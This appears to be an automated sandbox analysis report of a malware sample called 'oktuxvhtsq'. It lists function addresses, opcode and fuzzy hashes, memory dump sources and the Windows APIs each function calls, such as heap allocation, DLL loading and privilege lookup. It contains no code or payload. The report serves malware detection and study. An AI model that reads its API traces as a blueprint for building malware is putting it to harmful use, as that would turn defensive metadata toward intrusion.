API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0072FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FBC3

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0072FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FC6B

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0072FC90 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FC9B

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0072FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FDCB

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0072FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FD9A

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0072FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FEDB

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0072FEA0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FEAB

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 0072FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0072FFBF

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 00409AA0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
Instruction ID: 4f20240aff7f2371bb6e5cfcebb6b85206ba00274494e6c7b70a30fa46eb6871
Opcode Fuzzy Hash: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
Instruction Fuzzy Hash: 48213CB2D4420957CB25D664AD52BFF737CAB54314F04007FE949A3182F638BF498BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(&EA,?,00414C9F,00414C9F,?,00414526,?,?,?,?,?,00000000,00409CE3,?), ref: 0041A61D

Strings

&EA, xrefs: 0041A612, 0041A61C

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &EA
API String ID: 1279760036-1330915590
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 65e1271fa0e6f293e5ca7d904ec396d69fb6d51de338ced040ab1bfa87458b74
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 1DE012B2200208ABDB14EF99DC41EA777ADAF88668F118559BA085B242C630F9118AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0040830C Relevance: 1.6, APIs: 1, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2b1ced85cfafdd5732d96565cd9edafc066557c860400f298315d795c27a5101
Instruction ID: 05aaebecf39ec013da95658d58dee1c039a2fd93af06260385d1554cbd482746
Opcode Fuzzy Hash: 2b1ced85cfafdd5732d96565cd9edafc066557c860400f298315d795c27a5101
Instruction Fuzzy Hash: EC01D471A8032877E720A6958C03FFE772C6B40B54F05012AFF04BA1C1E6A8690642EA

Uniqueness

Uniqueness Score: -1.00%

Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 2b8d0fafe82a707928844ec316f7e0105081546aa8e26e9dc354d60cbf214f5e
Instruction ID: a0f03ca10d03d1d5c38d3c187be8154ddc7636efa3ebbcfd239e67dddfad06e3
Opcode Fuzzy Hash: 2b8d0fafe82a707928844ec316f7e0105081546aa8e26e9dc354d60cbf214f5e
Instruction Fuzzy Hash: B4018471A8032877E720A6959C43FFE776C6B40B54F05012AFF04BA1C1E6A8690546EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD3 Relevance: 1.5, APIs: 1, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD52

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: e90e30740199396d57f7cd7bed67e18ce7eee6ee49a4a5d75ff6d29f11778ce5
Instruction ID: 0bfba143c35a2662ea369b5dee50b939225e83d9b4356896b7ce44725816b03a
Opcode Fuzzy Hash: e90e30740199396d57f7cd7bed67e18ce7eee6ee49a4a5d75ff6d29f11778ce5
Instruction Fuzzy Hash: CAF0A475E0020DABDF10DAD1D882FDDB3B99F04308F0081A5ED1C9B680F634DA558B91

Uniqueness

Uniqueness Score: -1.00%

Function 0041A781 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6c355d2cbf5d1b4ed7558bdf3e9a25f7b7103ffe2787569f64ceecb3d4f9df02
Instruction ID: b018fd4c02568a20dce40f53dd357ebc4a22aed1888aa1fead350740c09b2497
Opcode Fuzzy Hash: 6c355d2cbf5d1b4ed7558bdf3e9a25f7b7103ffe2787569f64ceecb3d4f9df02
Instruction Fuzzy Hash: 2DF0A9B12001446BEB14EF14CC89FEB3BA8EF8A314F108085FD4C9B242C534A9058BB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A623 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A65D

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 450c0ed355cb7b3709ac078d9ea1f7ab4aa96f1e572ba26de562b2ac3dea34c9
Instruction ID: 0611564a9146cbe0ee6bc4a384c8b6f7fa635fd505321bcb9219bc05b3340da6
Opcode Fuzzy Hash: 450c0ed355cb7b3709ac078d9ea1f7ab4aa96f1e572ba26de562b2ac3dea34c9
Instruction Fuzzy Hash: FDE0D8B51046845BDB01DF75D4D149737A5EF81318710954EF89947707C235C51ADBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A630 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A65D

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: a31e03847b69acb9206512889bce5d114748d47cfafea9ced6338f279cce3475
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 64E04FB12002046BD714DF59DC45EE777ADEF88754F014559FD0857241C630F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A790 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: b8658252b81b08ed33e4a874e4d8f80b0614426e32f2ee3a7d9107b08e04f012
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 9EE01AB12002086BDB10DF49DC85EE737ADAF88654F018155BA0857241C934E8118BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A670 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A698

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 94fb8da58e6992106aa2b0ab061ea4c6965e877b66759b154152d16d38dd5c99
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: B9D017726002187BD620EB99DC85FD777ACDF487A4F0180AABA1C6B242C531FA108AE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00417D74 Relevance: 4.0, Strings: 3, Instructions: 275COMMON

Download Yara Rule

Strings

www., xrefs: 00417F06, 00417F09
=, xrefs: 00417E3E
www., xrefs: 00417E6E, 00417F2F, 00417FE4, 00418017, 00418074, 0041809F, 004180FC

Memory Dump Source

Source File: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID:
String ID: =$www.$www.
API String ID: 0-3343787489
Opcode ID: 6d4ffc7fd2f7e5798f23f121e82b3a6d171adf2569ca5f4ed57d26bd2dac5154
Instruction ID: 068cf630603c46fe43a761a566bb2a59be3fbfb3dc0e4910e9399f7ca9c038ff
Opcode Fuzzy Hash: 6d4ffc7fd2f7e5798f23f121e82b3a6d171adf2569ca5f4ed57d26bd2dac5154
Instruction Fuzzy Hash: DFA1A6B6554344ABD714DBF0CCD1FEB737CAF44308F00465EB25A5B182DB78A6848BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00730060 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction ID: 5a023e870da9c1ddb48dfa425d4b1b106951aaa9a6b60f468992a3f00291b547
Opcode Fuzzy Hash: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction Fuzzy Hash: 5CB012B2100580C7E30D9714DD06B4B7210FB80F00F00893AA10B81861DB7C9A2CD45E

Uniqueness

Uniqueness Score: -1.00%

Function 0073010C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction ID: 6f78205b53d22ab4e8c81d7e3ead40d6172b524c4c965a7ad5e52c730ffb8076
Opcode Fuzzy Hash: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction Fuzzy Hash: B8B01273104D40C7E3099714DD16F4FB310FB90F02F00893EA00B81850DA38A92CC846

Uniqueness

Uniqueness Score: -1.00%

Function 007301D4 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00710000, based on PE: true

Associated: 00000007.00000002.420725396.0000000000710000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000800000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction ID: 018f436d7687ff9142db90ebed9d2f0c0dfd000868ccafab48d689f3c6447ef1
Opcode Fuzzy Hash: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction Fuzzy Hash: B2B01272100940C7E359A714ED46B4B7210FB80F01F00C93BA01B81851DB38AA3CDD96

Uniqueness

Uniqueness Score: -1.00%

